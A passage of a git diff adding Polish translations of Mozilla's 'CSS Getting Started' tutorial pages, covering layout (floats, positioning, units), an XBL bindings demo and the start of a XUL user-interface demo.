#7a7; border-right: 0px;">1,200</td> + </tr> + <tr> + <th style="padding-right: .5em;">Atlantic:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">87,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td> + </tr> + <tr> + <th style="padding-right: .5em;">Pacific:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">180,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,000</td> + </tr> + <tr> + <th style="padding-right: .5em;">Indian:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">75,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">3,900</td> + </tr> + <tr> + <th style="padding-left: .5em; padding-right: .5em;">Southern:</th> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7;">20,000</td> + <td style="background-color: #cef; padding: .5em .5em .5em 3em; border: 1px solid #7a7; border-right: 0px;">4,500</td> + </tr> + <tr> + <th style="padding-right: .5em; color: blue;">Total:</th> + <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;">361,000</td> + <td style="background-color: #cee; padding: .5em .5em .5em 3em; border-top: .2em solid #7a7;"> </td> + </tr> + <tr> + <th style="padding-right: .5em; color: blue;">Mean:</th> + <td style="background-color: #cee; padding: .5em .5em .5em 3em;">72,000</td> + <td style="background-color: #cee; padding: .5em .5em .5em 3em;">3,800</td> + </tr> + </tbody> + </table> + </div> + <p style="font: italic 100% sans-serif; text-align: right; border-top: .4em solid #4ca; margin: 1em 0px 0px 0px;">Oceans</p> + </div> + </td> + </tr> + </tbody> + </table> + </td> + </tr> + </tbody> +</table> +<p> </p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F">Co dalej?</h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>.</p> +<p>Jest to ostatnia strona tego kursu, która opisuje własności i wartości CSS. Aby dowiedzieć się więcej o własnościach i wartościach w CSS, zajrzyj na stronę <a class="external" href="http://www.w3.org/TR/CSS21/propidx.html">Full property table</a> w specyfikacji CSS.</p> +<p>Następna strona znowu wraca do tematu przeznaczenia i struktury arkuszy stylów CSS: <b><a href="pl/CSS/Na_pocz%c4%85tek/Media">Media</a></b></p> diff --git a/files/pl/web/css/na_początek/układ/index.html b/files/pl/web/css/na_początek/układ/index.html new file mode 100644 index 0000000000..9499cdcdcd --- /dev/null +++ b/files/pl/web/css/na_początek/układ/index.html @@ -0,0 +1,274 @@ +--- +title: Układ +slug: Web/CSS/Na_początek/Układ +tags: + - 'CSS:Na_początek' +translation_of: Learn/CSS/CSS_layout +--- +<p> +</p><p>Ta strona opisuje kilka sposobów na modyfikację układu dokumentu. +</p><p>Nauczysz się zmieniać układ przykładowego dokumentu... +</p> +<h3 id="Informacja:_Uk.C5.82ad" name="Informacja:_Uk.C5.82ad"> Informacja: Układ </h3> +<p>Możesz użyć CSS-u do określenia wielu efektów wizualnych, które zmieniają układ Twojego dokumentu. +Niektóre z technik tworzenia układu są bardziej zaawansowane, wykraczające poza zakres podstawowego kursu. +</p><p>Kiedy modelujesz układ strony, który ma wyglądać podobnie w wielu przeglądarkach, Twój arkusz stylów łączy się z domyślnym arkuszem stylów przeglądarki oraz silnikiem układu stron w sposób, który może być bardzo złożony. +To także wykracza poza zakres tego kursu. +</p><p>Ta strona opisuje proste techniki, których możesz spróbować. +</p> +<h4 id="Struktura_dokumentu" name="Struktura_dokumentu"> Struktura dokumentu </h4> +<p>Jeżeli chcesz kontrolować układ dokumentu, być może będziesz musiał(a) zmienić jego strukturę. +</p><p>Język składni Twojego dokumentu może posiadać znaczniki ogólnego przeznaczenia do tworzenia struktury. +Na przykład w HTML-u możesz użyć znacznika <code>DIV</code> do tworzenia struktury. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> W Twoim przykładowym dokumencie ponumerowane paragrafy pod drugim nagłówkiem nie mają własnego kontenera. +<p>Twój arkusz stylów nie może narysować ramki wokół tych paragrafów, ponieważ nie istnieje element, dla którego można stworzyć selektor. +</p><p>Aby poprawić ten problem strukturalny, możesz dodać znacznik <code>DIV</code> wokół paragrafów. +Ten znacznik jest unikalny, zatem można go identyfikować przez atrybut <code>id</code>. +</p> +<div style="width: 40em; color: gray;"> +<pre class="eval"> <H3 class="numbered">Numbered paragraphs</H3> + <strong style="color: black;"><DIV id="numbered"></strong> + <P class="numbered">Lorem ipsum</P> + <P class="numbered">Dolor sit</P> + <P class="numbered">Amet consectetuer</P> + <P class="numbered">Magna aliquam</P> + <P class="numbered">Autem veleum</P> + <strong style="color: black;"></DIV></strong> +</pre> +</div> +<p>Teraz Twój arkusz stylów może używać jednej reguły do określania ramek wokół obu list: +</p> +<div style="width: 30em;"> +<pre class="eval"> ul, #numbered { + border: 1em solid #69b; + padding-left:1em; + } +</pre> +</div> +<p>Wynik wygląda tak: +</p> +<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p> +<div style="border: 12px solid #69b; margin-bottom: 16px; padding: 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul> +</div> +<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p> +<div style="border: 12px solid #69b; margin-bottom: 8px; padding: 0px 12em 0px .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p> +</div> +</td></tr></tbody></table> +</td></tr></tbody></table> +<h4 id="Jednostki_rozmiaru" name="Jednostki_rozmiaru"> Jednostki rozmiaru </h4> +<p>Dotychczas w tym kursie określałeś(aś) rozmiary w pikselach (<code>px</code>). +Jest to rozsądny wybór w pewnych przypadkach, dla wyświetlaczy takich jak monitor komputera. +Jednak jeżeli użytkownik zmieni rozmiar kroju, Twój układ może przestać wyglądać dobrze. +</p><p>W wielu wypadkach lepiej jest określać rozmiary w procentach lub jednostkach ems (<code>em</code>). +Em jest nominalnym rozmiarem aktualnego kroju (szerokość litery m). +Kiedy użytkownik zmienia rozmiar kroju, Twój układ dostosuje się automatycznie. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Ramka po lewej stronie tego tekstu ma rozmiary określony w pikselach. +<p>Ramka po prawej ma rozmiar określony w ems. +</p><p>Zmień teraz rozmiary kroju w swojej przeglądarce, aby zobaczyć, jak ramka po prawej dopasowuje się do rozmiaru, a jak zachowa się ramka po lewej: +</p> +<table style="border: 2px outset #36b; padding: 1em; background-color: white;"> +<tbody><tr> +<td><div style="">ZMIEŃ MÓJ ROZMIAR</div> +</td></tr></tbody></table> +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Dla innych urządzeń najlepiej stosować inne jednostki miar. +<p>Więcej informacji na ten temat znajdziesz na dalszych stronach tego kursu. +</p><p>Aby dowiedzieć się więcej na temat wartości i jednostek, których możesz użyć, zobacz stronę <a class="external" href="http://www.w3.org/TR/CSS21/syndata.html#values">Wartości</a> na stronach specyfikacji CSS. +</p> +</td></tr></tbody></table> +<h4 id="Uk.C5.82ad_tekstu" name="Uk.C5.82ad_tekstu"> Układ tekstu </h4> +<p>Układ treści dokumentu jest określany przez dwie własności. +Możesz ich użyć, aby wstępnie określić układ: +</p> +<ul><li><code>text-align</code> +</li></ul> +<dl><dd>Określa położenie treści. Wybierz jedną z wartości: <code>left</code>, <code>right</code>, <code>center</code>, <code>justify</code> +</dd></dl> +<ul><li><code>text-indent</code> +</li></ul> +<dl><dd>Tworzy odstęp dla treści o określoną wartość. +</dd></dl> +<p>Te własności dotyczą wszelkiej treści tekstowej w elemencie, nie tylko tekstu. +Pamiętaj też, że są one dziedziczone przez elementy dzieci, zatem będzie trzeba bezpośrednio wyłączyć je dla dzieci, aby uniknąć dziwnych rezultatów. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Aby wycentrować nagłówki: +<div style="width: 30em;"> +<pre class="eval"> h3 { + border-top: 1px solid gray; + text-align: center; + } +</pre> +</div> +<p>Wynik: +</p> +<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray; text-align: center;">(A) The oceans</p> +</td></tr></tbody></table> +<p>W dokumencie HTML treść wyświetlana pod nagłówkiem nie jest strukturalnie przynależna do nagłówka. +Zatem kiedy określasz nagłówek w taki sposób, znaczniki poniżej nagłówka nie dziedziczą stylu. +</p> +</td></tr></tbody></table> +<h4 id="P.C5.82ywanie_.28Floats.29" name="P.C5.82ywanie_.28Floats.29"> Pływanie (Floats) </h4> +<p>Własność <code>float</code> wymusza umieszczenie elementu po lewej lub prawej. +Jest to prosty sposób, aby kontrolować jego położenie i rozmiar. +</p><p>Reszta dokumentu opływa wybrany element. +Możesz to kontrolować, używając własności <code>clear</code> na innych elementach, aby sprawić, by nie opływały elementów posiadających określony <code>float</code>. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td>W Twoim przykładowym dokumencie listy są rozciągnięte na szerokość okna. Możesz tego uniknąć, przyklejając je do lewej strony. +<p>Aby zachować nagłówki w jednym miejscu, musisz też określić, że mają ignorować opływanie po lewej: +</p> +<div style="width: 30em;"> +<pre class="eval"> ul, #numbered {float: left;} + h3 {clear: left;} +</pre> +</div> +<p>Rezultat wygląda tak: +</p> +<table style="border: 2px outset #36b; padding: 1em; width: 30em; background-color: white;"> +<tbody><tr> +<td><p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p> +<div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding-left: 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul> +</div> +<p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p> +<div style="float: left; border: 12px solid #69b; margin-bottom: 8px; padding-left: .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p> +</div> +</td></tr></tbody></table> +<p>(Mały margines wewnętrzny jest potrzebny po prawej stronie bloków, gdzie ramka jest za blisko tekstu.) +</p> +</td></tr></tbody></table> +<h4 id="Pozycjonowanie" name="Pozycjonowanie"> Pozycjonowanie </h4> +<p>Możesz określić pozycję elementu na cztery sposoby poprzez określenie własności <code>position</code> oraz podanie jednej z następujących wartości. +</p><p>Są to własności zaawansowane. +Można ich używać w prosty sposób — dlatego są tutaj wymienione. +Jednak korzystanie z nich w bardziej złożony sposób może być skomplikowane. +</p> +<ul><li><code>relative</code> +</li></ul> +<dl><dd>Pozycja elementu jest określona relatywnie do jego normalnej pozycji. +</dd><dd>Użyj tej wartości, aby przesunąć element o określoną wartość. Czasem możesz użyć marginesu zewnętrznego, aby osiągnąć ten sam efekt. +</dd></dl> +<ul><li><code>fixed</code> +</li></ul> +<dl><dd>Element będzie przyczepiony. +</dd><dd>Określa pozycję elementu relatywnie do okna dokumentu. Nawet kiedy reszta dokumentu jest przewijana, element pozostaje w tym samym miejscu. +</dd></dl> +<ul><li><code>absolute</code> +</li></ul> +<dl><dd>Pozycja elementu jest ustawiana relatywnie do elementu rodzica. +</dd><dd>Zadziała to tylko wobec elementów, które są pozycjonowane z użyciem <code>relative</code>, <code>fixed</code> lub <code>absolute</code>. +</dd></dl> +<dl><dd>Możesz też sprawić, by dowolny element-rodzic mógł zostać zastosowany poprzez określenie mu <code>position: relative;</code> bez podawania wartości przesunięcia. +</dd></dl> +<ul><li><code>static</code> +</li></ul> +<dl><dd>Domyślne. Użyj tej wartości, aby wyłączyć pozycjonowanie. +</dd></dl> +<p>Razem z tymi wartościami własności <code>position</code> (poza <code>static</code>) podaj jedną lub więcej własności: <code>top</code>, <code>right</code>, <code>bottom</code>, <code>left</code>, <code>width</code>, <code>height</code>, aby określić, gdzie chcesz, aby element się pojawił, oraz jego rozmiar. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Przykład +</caption><tbody><tr> +<td> Aby umieścić dwa elementy na górze, stwórz kontener rodzica w swoim dokumencie z dwoma elementami w środku: +<div style="width: 30em;"> +<pre class="eval"> <DIV id="parent-div"> + <P id="forward">/</P> + <P id="back">\</P> + </DIV> +</pre> +</div> +<p>W swoim arkuszu stylów nadaj rodzicowi wartość <code>relative</code> własności <code>position</code>. +Nie musisz podawać żadnego przesunięcia. +Określ wartość własności <code>position</code> jego dzieci jako <code>absolute</code>: +</p> +<div style="width: 30em;"><pre> + #parent-div { + position: relative; + font: bold 200% sans-serif; + } + + #forward, #back { + position: absolute; + margin:0px; + top: 0px; + left: 0px; + } + + #forward { + color: blue; + } + + #back { + color: red; + } +</pre></div> +<p>Rezultat wygląda tak, z odwrotnym ukośnikiem nad ukośnikiem: +</p> +<div style="position: relative; left: .33em; font: bold 300% sans-serif;"> <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: blue;">/</p> <p style="position: absolute; margin: 0px; top: 0px; left: 0px; color: red;">\</p> +</div><table style="border: 2px outset #36b; padding: 1em; width: 30em; height: 5em; background-color: white;"> + +<tbody><tr><td></td></tr></tbody></table> +<p><br> +</p> +</td></tr></tbody></table> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Cały temat pozycjonowania zajmuje dwa skomplikowane rozdziały w specyfikacji CSS: <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html">Visual formatting model</a> oraz <a class="external" href="http://www.w3.org/TR/CSS21/visudet.html">Visual formatting model details</a>. +<p>Jeżeli tworzysz arkusze stylów, które mają działać w wielu przeglądarkach, musisz także wziąć pod uwagę różnice w sposobie interpretacji standardów oraz prawdopodobne błędy w obsłudze standardów występujące w różnych przeglądarkach. +</p> +</td></tr></tbody></table> +<h3 id="Zadanie:_Definiowanie_uk.C5.82adu" name="Zadanie:_Definiowanie_uk.C5.82adu"> Zadanie: Definiowanie układu </h3> +<p>Zmień swój przykładowy dokument i arkusz stylów, korzystając z przykładów z sekcji <b>Struktura dokumentu</b> i <b>Pływanie</b>. +</p><p>W przykładzie z <b>Pływanie</b> dodaj margines wewnętrzny, aby oddzielić tekst od prawej ramki o 0.5 em. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień swój przykładowy dokument, dodając ten znacznik blisko końca, tuż przed +<p><code></BODY></code> +</p> +<pre> + <IMG id="fixed-pin" src="Yellow-pin.png" alt="Yellow map pin"> +</pre> +<p>Jeżeli wcześniej nie pobrałeś(aś) pliku obrazka z tego kursu, zrób to teraz: +</p> +<table style="border: 2px solid #ccc;"> +<tbody><tr> +<td><img alt="Image:Yellow-pin.png"> +</td></tr></tbody></table> +<p>Spróbuj przewidzieć, gdzie ten obrazek pojawi się w dokumencie. +Potem odśwież okno przeglądarki i sprawdź czy miałeś(aś) rację. +</p><p>Dodaj regułę do arkusza stylów, która umieści obrazek na stałe w prawym górnym rogu dokumentu. +</p><p>Odśwież okno przeglądarki i zmniejsz rozmiar okna. +Sprawdź, czy obrazek nadal pozostaje w górnym prawym rogu, nawet kiedy przewijasz dokument. +</p> +<div style="position: relative; width: 29.5em; height: 18em;"> <div style="overflow: auto; border: 2px outset #36b; padding: 1em; width: 29em; height: 16em; background-color: white;"> <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(A) The oceans</p> <div style="float: left; border: 12px solid #69b; margin-bottom: 16px; padding: 0px .5em 0px 1em;"> <ul style=""> <li>Arctic</li> <li>Atlantic</li> <li>Pacific</li> <li>Indian</li> <li>Southern</li> </ul> </div> <p style="font-weight: bold; font-size: 133%; margin-bottom: .3em; padding-top: .4em; padding-bottom: .16em; border-top: 1px solid gray;">(B) Numbered paragraphs</p> <div style="float: left; border: 12px solid #69b; padding: 0 .5em 0 .5em;"> <p><b>1: </b>Lorem ipsum</p> <p><b>2: </b>Dolor sit</p> <p><b>3: </b>Amet consectetuer</p> <p><b>4: </b>Magna aliquam</p> <p><b>5: </b>Autem veleum</p> </div> <p style=""> </p> <div style="position: absolute; top: 2px; right: 0px;"><img alt="Yellow map pin"></div> </div> +</div> +</td></tr></tbody></table> +<p><br> +</p> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>Właśnie poznałeś(aś) wszystkie zagadnienia należące do podstawowego kursu CSS. +Następna strona dokładniej opisze zaawansowane selektory dla reguł CSS oraz trochę szczegółów dotyczących tabel: <b><a href="pl/CSS/Na_pocz%c4%85tek/Tabele">Tabele</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/Layout", "fr": "fr/CSS/Premiers_pas/Mise_en_page", "pt": "pt/CSS/Como_come\u00e7ar/Disposi\u00e7\u00e3o" } ) }} diff --git a/files/pl/web/css/na_początek/wiązania_xbl/index.html b/files/pl/web/css/na_początek/wiązania_xbl/index.html new file mode 100644 index 0000000000..9218b33797 --- /dev/null +++ b/files/pl/web/css/na_początek/wiązania_xbl/index.html @@ -0,0 +1,176 @@ +--- +title: Wiązania XBL +slug: Web/CSS/Na_początek/Wiązania_XBL +tags: + - 'CSS:Na_początek' +translation_of: Archive/Beginner_tutorials/Using_XBL_from_stylesheets +--- +<p> +</p><p>Ta strona opisuje jak możesz używać CSS-u w Mozilli, aby poprawić strukturę złożonych aplikacji, sprawiając, że kod i zasoby stają się wygodniejsze do zarządzania i ponownego użycia. +</p><p>Wykorzystasz te techniki w przykładowej demonstracji. +</p> +<h3 id="Informacja:_Wi.C4.85zania_XBL" name="Informacja:_Wi.C4.85zania_XBL"> Informacja: Wiązania XBL </h3> +<p>Struktura dostarczana przez język znaczników i CSS nie jest idealna dla złożonych aplikacji, gdzie fragmentu muszą być kompletne i umożliwiać ponowne wykorzystanie. Możesz umieścić arkusze stylów w osobnych plikach, możesz umieścić skrypty w osobnych plikach. Ale musisz dodawać odnośniki do tych plików z dokumentu. +</p><p>Inne ograniczenie strukturalne dotyczy zawartości. Możesz użyć CSS, aby dodać zawartość do wybranych elementów, ale ta zawartość jest ograniczona do tekstu i obrazków, a ich pozycjonowanie jest ograniczone do <i>przed</i> i <i>za</i> wybranym elementem. +</p><p>Mozilla dodaje mechanizm, który pozwala pokonać te ograniczenia: <i>XBL</i> (Język Wiązań XML). +Możesz używać XBL-a do wiązania wybranych elementów: +</p> +<ul><li>arkuszy stylów, +</li><li>zawartości, +</li><li>właściwości i metod, +</li><li>uchwytów zdarzeń. +</li></ul> +<p>Ponieważ unikasz umieszczania odnośników do tego wszystkiego w dokumencie, możesz stworzyć elementy kompletne, którymi łatwo można zarządzać i które można wielokrotnie wykorzystywać. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Aby dowiedzieć się więcej o wiązaniach XBL, zajrzyj na stronę o <a href="pl/XBL">XBL</a> na tym wiki. +</td></tr></tbody></table> +<h3 id="Zadanie:_Demonstracja_XBL-a" name="Zadanie:_Demonstracja_XBL-a"> Zadanie: Demonstracja XBL-a </h3> +<p>Stwórz nowy dokument HTML, <code>doc6.html</code>. +Skopiuj i wklej do niego poniższy kod: +</p> +<div style="width: 48em;"><pre><!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN"> +<HTML> + +<HEAD> +<TITLE>Mozilla CSS Getting Started - XBL demonstration</TITLE> +<LINK rel="stylesheet" type="text/css" href="style6.css"></strong> +</HEAD> + +<BODY> +<H1>XBL demonstration</H1> +<DIV id="square">Click Me</DIV> +</BODY> + +</HTML> +</pre></div> +<p>Stwórz nowy plik CSS, <code>style6.css</code>. +Ten arkusz stylów zawiera style dokumentu. +Skopiuj i wklej do niego poniższy kod: +</p> +<div style="width: 48em;"><pre>/*** XBL demonstration ***/ +#square { + -moz-binding: url("square.xbl#square"); + } +</pre></div> +<p>Stwórz nowy plik tekstowy, <code>square.xbl</code>. +Ten plik zawiera wiązanie XBL. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><?xml version="1.0"?> +<!DOCTYPE bindings> +<bindings xmlns="http://www.mozilla.org/xbl"> + +<binding id="square"> + + <resources> + <stylesheet src="bind6.css"/> + </resources> + + <content xmlns="http://www.w3.org/1999/xhtml"> + <div anonid="square"/> + <button anonid="button" type="button"> + <xbl:children/> + </button> + </content> + + <implementation> + + <field name="square"><![CDATA[ + document.getAnonymousElementByAttribute(this, "anonid", "square") + ]]></field> + + <field name="button"><![CDATA[ + document.getAnonymousElementByAttribute(this, "anonid", "button") + ]]></field> + + <method name="doDemo"> + <body><![CDATA[ + this.square.style.backgroundColor = "#cf4" + this.square.style.marginLeft = "20em" + this.button.setAttribute("disabled", "true") + setTimeout(this.clearDemo, 2000, this) + ]]></body> + </method> + + <method name="clearDemo"> + <parameter name="me"/> + <body><![CDATA[ + me.square.style.backgroundColor = "transparent" + me.square.style.marginLeft = "0" + me.button.removeAttribute("disabled") + ]]></body> + </method> + + </implementation> + + <handlers> + <handler event="click" button="0"><![CDATA[ + if (event.originalTarget == this.button) this.doDemo() + ]]></handler> + </handlers> + + </binding> + +</bindings> +</pre></div> +<p>Stwórz nowy plik CSS, <code>bind6.css</code>. +Ten arkusz stylów zawiera style do wiązań. +Skopiuj i wklej do niego poniższy kod: +</p> +<div style="width: 48em;"><pre>/*** XBL demonstration ***/ +[anonid="square"] { + width: 20em; + height: 20em; + border: 2px inset gray; + } + +[anonid="button"] { + margin-top: 1em; + padding: .5em 2em;" + } +</pre></div> +<p>Otwórz dokument w swojej przeglądarce i naciśnij przycisk. +</p><p>To wiki nie obsługuje JavaScript-u na stronach, więc nie jest możliwe pokazanie demonstracji. +Wygląda to mniej więcej tak jak poniżej, przed i po naciśnięciu przycisku: +</p> +<table> +<tbody><tr> +<td style="padding-right: 2em;"> +<table style="border: 2px outset #36b; padding: 0 4em .5em .5em;"> +<tbody><tr> +<td><p><b>XBL demonstration</b></p> +<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: white; margin-right: 5em;"> +<div style="width: 2em; height: 1em; border: 1px outset black; background-color: #ccc; margin-top: 4px;"> +</div></div></td></tr></tbody></table> +</td><td> +<table style="border: 2px outset #36b; padding: 0 4em .5em .5em;"> +<tbody><tr> +<td><p><b>XBL demonstration</b></p> +<div style="width: 5em; height: 5em; border: 2px inset gray; background-color: #cf4; margin-left: 5em;"> +<div style="width: 2em; height: 1em; border: 1px inset black; background-color: #ccc; margin-top: 4px;"> +</div></div></td></tr></tbody></table> +</td></tr></tbody></table> +<p>Uwagi dotyczące demonstracji: +</p> +<ul><li>Dokument HTML posiada odnośniki do arkusza stylów, ale także do pliku JavaScript. +</li><li>Dokument nie posiada żadnego przycisku. Posiada jedynie tekst, który pojawi się na nim. Przycisk jest dodawany przez wiązanie. +</li><li>Arkusz stylów dokumentu posiada odnośnik do wiązania. +</li><li>Wiązanie ma odnośnik do własnego arkusza stylów i własną treść oraz kod JavaScript. Wiązanie zawiera własną zawartość. +</li></ul> +<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: .5em;"> +<caption>Wyzwanie +</caption><tbody><tr> +<td> Zmień plik XBL tak, aby obiekt square poszerzał się dwukrotnie, zamiast przeskakiwania w prawo, kiedy zmienia kolor. +<p>Użyj Inspektora DOM, aby zbadać dokument, analizując dodaną zawartość. +</p> +</td></tr></tbody></table> +<h4 id="Co_dalej.3F" name="Co_dalej.3F"> Co dalej? </h4> +<p>Jeżeli masz problemy ze zrozumieniem tej strony albo chcesz ją skomentować, pomóż nam, dopisując się na stronie <a>Dyskusji</a>. +</p><p>W tej demonstracji obiekt square oraz przycisk tworzą kompletną <i>kontrolkę</i>, która działa wewnątrz dokumentu HTML. +</p><p>Mozilla posiada wyspecjalizowany język znaczników do tworzenia interfejsów użytkownika. +Demonstruje to następna strona: +<b><a href="pl/CSS/Na_pocz%c4%85tek/XUL-owe_interfejsy_u%c5%bcytkownika">XUL-owe interfejsy użytkownika</a></b> +</p>{{ languages( { "en": "en/CSS/Getting_Started/XBL_bindings", "fr": "fr/CSS/Premiers_pas/Liaisons_XBL", "pt": "pt/CSS/Como_come\u00e7ar/XBL_bindings" } ) }} diff --git a/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html b/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html new file mode 100644 index 0000000000..c185657258 --- /dev/null +++ b/files/pl/web/css/na_początek/xul-owe_interfejsy_użytkownika/index.html @@ -0,0 +1,299 @@ +--- +title: XUL-owe interfejsy użytkownika +slug: Web/CSS/Na_początek/XUL-owe_interfejsy_użytkownika +tags: + - 'CSS:Na_początek' +translation_of: Archive/Beginner_tutorials/XUL_user_interfaces +--- +<p> +</p><p>Ta strona opisuje specjalny język Mozilli do tworzenia interfejsów. +</p><p>Stworzysz przykładowy dokument demonstracyjny dla przeglądarek Gecko. +</p> +<h3 id="Informacja:_Interfejsy_u.C5.BCytkownika" name="Informacja:_Interfejsy_u.C5.BCytkownika"> Informacja: Interfejsy użytkownika </h3> +<p>Mimo, że HTML posiada pewne wsparcie dla interfejsów użytkownika, to jest ono niewystarczające do stworzenia samodzielnej aplikacji. +</p><p>Mozilla pozwala pokonać te ograniczenia poprzez użycie specjalnego języka do tworzenia interfejsów użytkownika: <i>XUL</i> (XML User-interface Language, XML-owy Język Interfejsu Użytkownika, zazwyczaj wymawiany jak "<i>zool</i>"). +</p><p>W XUL-u, wiele często używanych funkcji interfejsu użytkownika jest wbudowanych. Na przykład, XUL dostarcza wyspecjalizowane typy okien jak okna dialogowe czy kreatory (wizards), oraz paski statusu, menu, paski narzędziowe, a nawet przeglądarki. +</p><p>Bardziej wyspecjalizowane funkcje, mogą zostać zbudowane z elementów przy użyciu XUL-a i innych technologii, które poznałeś(aś) w tym kursie: stylów CSS, kodu JavaScript, wiązań XBL. +</p><p>Jak inne języki XML-owe, XUL używa arkuszy stylów CSS. +</p> +<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4; margin-bottom: 1em; width: 100%;"> +<caption>Więcej szczegółów +</caption><tbody><tr> +<td> Aby dowiedzieć się więcej o XUL-owych interfejsach użytkownika, zajrzyj na stroną o <a href="pl/XUL">XUL</a>-u na tym wiki. +</td></tr></tbody></table> +<h3 id="Zadanie:_Demonstracja_XUL-a" name="Zadanie:_Demonstracja_XUL-a"> Zadanie: Demonstracja XUL-a </h3> +<p>Stwórz nowy dokument XUL jako czysty plik tekstowy, <code>doc7.xul</code>. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +</p> +<div style="width: 48em; height: 12em; overflow: auto;"><pre><?xml version="1.0"?> +<?xml-stylesheet type="text/css" href="style7.css"?> +<!DOCTYPE window> + +<window + xmlns="http&58;//www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" + title="CSS Getting Started - XUL demonstration" + onload="init();"> + +<script type="application/x-javascript" src="script7.js"/> + +<label class="head-1" value="XUL demonstration"/> + +<vbox> + + <groupbox class="demo-group"> + <caption label="Day of week calculator"/> + <grid> + <columns> + <column/> + <column/> + </columns> + <rows> + <row> + <label class="text-prompt" value="Date:" + accesskey="D" control="date-text"/> + <textbox id="date-text" type="timed" + timeout="750" oncommand="refresh();"/> + </row> + <row> + <label value="Day:"/> + <hbox id="day-box"> + <label class="day" value="Sunday" disabled="true"/> + <label class="day" value="Monday" disabled="true"/> + <label class="day" value="Tuesday" disabled="true"/> + <label class="day" value="Wednesday" disabled="true"/> + <label class="day" value="Thursday" disabled="true"/> + <label class="day" value="Friday" disabled="true"/> + <label class="day" value="Saturday" disabled="true"/> + </hbox> + </row> + </rows> + </grid> + <hbox class="buttons"> + <button id="clear" label="Clear" accesskey="C" + oncommand="clearDate();"/> + <button id="today" label="Today" accesskey="T" + oncommand="setToday();"/> + </hbox> + </groupbox> + + <statusbar> + <statusbarpanel id="status"/> + </statusbar> + +</vbox> + +</window> +</pre></div> +<p>Stwórz nowy 